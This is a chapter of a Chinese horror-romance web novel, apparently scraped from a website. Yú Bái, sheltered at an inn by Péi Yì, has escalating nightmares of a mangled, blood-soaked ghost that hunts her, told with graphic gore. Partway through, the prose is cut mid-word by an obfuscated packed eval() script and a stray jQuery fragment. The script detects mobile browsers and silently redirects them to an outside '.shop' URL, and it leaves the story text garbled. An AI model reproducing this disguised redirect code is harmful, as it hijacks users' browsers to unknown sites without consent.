明亮的旅馆内,零星坐着几位夜猫子客人,拿着明曦寺附近的小物件小声交流着,门口摆放的烟紫兰花在明黄灯下微微晃动,被漆黑的衣角轻轻刮过。
一个身材高挑,看起来只有二十岁左右的男生顶着小雨走进大厅。
他怀里抱着个被外套包裹严实的女生,见状,前台不等他开口便笑眯眯地询问,“您好,请问您需要几间房?”
“两间,谢谢。”他的声音清隽平和,位于少年与青年之间。
“好的,请跟我来。”
踩上木质楼梯,裴意跟着前台来到二楼,温润的熏香充斥着整间走廊,很浅,类似檀香的气味。
把虞白放在床上,小心脱去她的鞋袜后,他拿起未拆封的一次性毛巾,去浴室用温水打湿。
将毛巾折叠好,轻轻地擦拭虞白的脸颊。
她的眉峰微皱,眉宇间满是疲惫,呼吸也有些不稳。
潮湿的指尖轻柔地按在眼下的青黑上,缓缓摩挲着。
裴意注视着虞白颤动的眼睫,将毛巾放在柜子上,刚要起身离开,轻按在虞白眼下的手就被只温凉的手掌抓住。
心跳变得快速,他看着睡梦中无意识抓住自己手腕的虞白,试探性地抽回手。
然后,便和双漂亮迷蒙的眼睛对上视线。
“……抱歉,吵醒你了。”
话音落下的下一秒,晶莹圆润的泪珠忽地从她眼角滚落。
裴意一怔,看着无声流泪的虞白,惯来活跃算计的大脑变得呆滞,喉中艰涩异常,像有什么堵在里面,堵住他的询问与关切。
“裴意。”
虞白突然开口,抓着他手的指尖微微用力,看向半蹲在床边的裴意,说:“我做了一个梦。”
“什么……什么梦?”
裴意的目光全落在她不断流出的眼泪上,恍然间觉得自己的魂魄也随着那一滴滴眼泪流出体内。
虞白面无表情地流着泪:“我梦见无论自己走到哪里,在做什么,眼角余光里一直存在一道影子。”
“肢体扭曲,浑身血红,死死跟着我,甚至会在我睡着时,将我搂进它残破满是碎肉的胸膛,我的脸颊贴着它裸露在外的、冰凉僵硬的心脏。”
裴意哑然:“那只是个噩梦而已。”
闭上眼睛,虞白深吸一口气,“在梦里我无论如何都摆脱不掉它,甚至分不清现实与梦境。
好几次我从梦里醒来,以为噩梦醒了,在松了口气的瞬间再次见到那道血红身影。
它身上浓郁的血腥气仿佛绳索般死死缠在我的灵魂上,将我与它强行绑在一起,我根本摆脱不了它。”
她的指尖在颤抖。
并不明显,颤动的弧度却透过与她紧握的那只手传来,让裴意的心脏蓦地慢跳了半拍。
“……学姐要抱抱我吗?”
鬼使神差的,裴意这样问了。
对上虞白的目光,他的眼眸弯起。
“不确定是否真的从梦中醒来的话,可以用我来做试验。”
“所以,要试试吗?”
虞白看着在梦境中出现过数次的眼睛,疲惫与恍惚潮水般涌来,过度的惊吓让她的精神已经麻木,于是坐起身,伸出手臂,缓缓地朝他靠近。
手臂下是温热的皮肤,鼻尖带着男生身上清冽的皂角香,还有紧挨着的、呼吸时起伏的精壮胸膛。
——一切都很真实。
腰上覆盖上一双修长有力的手臂,温度透过衣服清晰地传递到虞白身上。
虞白下意识屏住呼吸,瞳孔不自觉转动,搜寻着可能出现血红人影的角落。
没有。
它没有出现。
这里不是梦境。
紧绷的情绪骤然放松,虞白的眼皮越来越沉重,却强撑着不让自己睡去,怕在梦中又见到那个血影。
裴意的手掌轻拍着她的背部,克制住想要用力收紧手臂的冲动,微偏过头,唇瓣若有若无地触碰着她的耳朵。
“睡吧。”他说:“我在这里。”
虞白终于抵抗不住浓烈的倦意,闭上了眼睛。
昏沉间,她似乎从裴意怀中回到了放着熏香的衣柜,躲在衣服深处,双眼透过缝隙惊惧地看着房间里的一切。
一滴血水突兀地出现在卧室门口地面,明明那里没有任何人,诡异的血迹依旧一滴接着一滴,很快浸湿雪白的地毯,散发出浓郁的血腥气。
头顶的灯光变得暗淡,隔着缝隙,虞白看到血水从门口蔓延至空无一人的床边。
惊惧让她的呼吸变得急促,她捂着嘴,浑身抑制不住地轻颤,在她房间里的,这到底,是什么鬼东西?
短暂地停留后,暗红血水围绕着平整的床边转了一圈又一圈。
它的速度越来越快,流下的血迹淅淅沥沥地聚集在一起,很快汇聚成小片血泊。
虞白缩在衣柜角落,努力放缓呼吸,减轻自己的存在感,心底升起强烈的直觉。
——它在疯狂寻找什么。
不清楚第几遍围绕着床寻找,它突然停了下来。
血水缓慢地停在浴室门口,然后消失不见。
虞白看向紧闭的卧室大门,又看了眼毫无动静的房间。
走了吗?
深吸一口气,刚要推开衣柜的门,便看到血水再次出现,以极快的速度蔓延至房间的各个角落。
头顶的灯光越发暗淡,像是下一秒就会熄灭,密集的嘀嗒声重重砸在虞白疯狂跳动的心脏,无名的恐惧笼罩住她。
……
她要逃。
她不能留在这里,和这个鬼东西呆在一个房间。
看着被血水浸透的地毯,虞白无比清晰地生出逃跑的念头。
手掌刚探上柜门,不知从哪里传来的,模糊狂躁的声音传入她的耳中。
……没有。
虞白动作一顿。
……找不到。
找不到找不到找不到找不到找不到找不到找不到找不到找不到找不到找不到找不到找不到找不到找不到找不到找不到找不到找不到找不到找不到找不到找不到找不到找不到找不到!!
“砰!”
一声巨响,床边的雕花小木柜猛地弹开,坚硬的木门撞在床边,发出回弹的颤动。
紧接着,化妆柜、衣帽间、用来摆放首饰的小盒子……
房间里所有可以打开的东西,无一例外全都被没有具体形状、看不见的鬼东西找了个遍。
不间断的响声让虞白的身体轻颤,先前模糊的预感在看到它疯狂的举动时让她意识到——
这位看不见的外来者,在发疯了般地寻找自己。
越发浓郁的血腥气让虞白整个人仿佛泡在血水中,压下不断涌起的反胃,她闭上眼睛,逃避似的将头埋在膝间。
不知道被那东西找到后会是什么下场,也不知道自己能不能逃出去,虞白心底是绝望的。
“砰!”
又是一声巨响,这次被打开的是紧闭的卧室门。
余音回荡在变得死寂的房间内,连带着震在虞白心底,散不去的血腥气涌入鼻尖,让她再次生出反胃的感觉。
虞白屏住呼吸,安静地等了片刻。
确认它离开后,推开面前的门,带着长时间保持一个姿势变得僵硬的身体走出去。
刚踏出衣柜,脚下粘腻湿滑的触感让她失去重心,跌在厚重、被血水浸透的地毯上。
虞白撑起身体下意识看去。
那是一截湿腻顺滑的肠子。
颜色猩红,散发着恶心的血腥味,就这么堆积在衣柜门口,软趴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939900|213876||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
趴的一滩。
堪称恐怖的一幕让虞白的大脑连带着思绪都变得空白一片。
她虚软的身体因惊吓过度不断打颤,想站起身,却因手脚发软而屡次失败。
——嘀嗒。
冰凉粘稠的血水落在虞白的眼睑,又顺着眼皮的弧度滑落,在脸颊留下道触目惊心的血痕。
刺入骨髓的寒意无声无息将她笼罩,寒气从衣摆的间隙钻入,疯狂在她皮肤上游走。
虞白被冷得打了个哆嗦,颤抖的目光下,堆积在衣柜前的肠子缓缓蠕动,猩红滑腻的一端似蛇般抬起,然后,飞快地朝她扑来。
虞白:“……!”
她恍惚地低下头,看着自己的腹部,莫名生出那诡异的肠子在她腹中蠕动的感觉。
被自己的猜想恶心的不行,虞白强制自己放空思绪,胡乱擦去脸上的血迹,朝楼下走去。
踏出卧室门,眼前的一幕让她呆愣在原地。
整洁华贵的别墅此刻狼狈不堪,昂贵的摆件与家具像是被龙卷风刮过似的,散落满地的血泊中。
墙壁、地板、楼梯扶手,甚至天花板都被凌乱的血迹覆盖。
整栋别墅宛如案发现场般瘆人。
虞白抱着手臂,小心越过满地杂物和碎片。
她要离开这里。
离开这个可怕的地方。
让她紧绷的情绪松懈下来的是,那个鬼东西已经消失不见,她现在是安全的。
她是,安全的。
这样想着,虞白无意间瞄向布满裂缝的镜片。
在她身后,如影随形地跟着一道身影。
它的肢体扭曲血红。
它露出的心脏紧贴着她的脊背。
它的头颅埋在她的脖颈。
“嘀嗒。”
自它眼眶流出的血液落在她的锁骨,缓缓滑落。
模糊嘶哑的声音在她耳边混乱响起,像是恶鬼的低语。
它用残破不堪的嘴唇亲吻着她,说:“……找到你了。”
“啊!!!”
…………
“只是噩梦而已,这个世界上并没有鬼。”
虞白蜷缩在裴意怀里,身体细细颤抖,将脸埋在他怀里像是在逃避什么,整个人显然被不久前做的噩梦吓得不轻。
做了一整夜的噩梦,虞白的困意彻底消失不见,她的身体、精神格外敏感应激,一点细微的异响都会让她的身体颤动。
裴意的下颚轻抵在她的头顶,收拢臂弯,声音放得很轻。
“如果学姐实在害怕,明天再去明曦寺拜拜,好吗?”
“……它找到我了。”
虞白的声音从他怀里传来,闷闷的,带着惊吓过度的恍惚。
“如果我再次睡着,下一步它会做什么?吃了我?还是把我变成和它一样的鬼样子?”
虞白第一次对入睡感到抗拒。
从今夜的初次入睡后,她总会梦到那道血红扭曲的身影,每一次醒来后入睡,她与它之间的交集在逐渐增加。
由互相看不见对方到它可以死死跟着自己,也只不过经历三个梦境。
那么下次入睡她会不会也梦见它?
它又会对自己做什么?
虞白不想去想,也不敢去想。
裴意柔声哄着她过分敏感的神经,将她从冰冷窒息的梦境中拉回。
谁也没有注意到门口的白炽灯暗淡一瞬。无孔不入的寒意从门缝中钻出,迅速占据温度适宜的空间。
房间内的温度快速下降,窗外忽地下起了毫无征兆的暴雨,密集的雨滴拍打在玻璃上,发出沉闷的声响。
一只混浊猩红的眼睛,自门外的黑暗中浮现,死死贴着门缝,视线贪婪地落在如惊弓之鸟的女生身上。
——嘀嗒。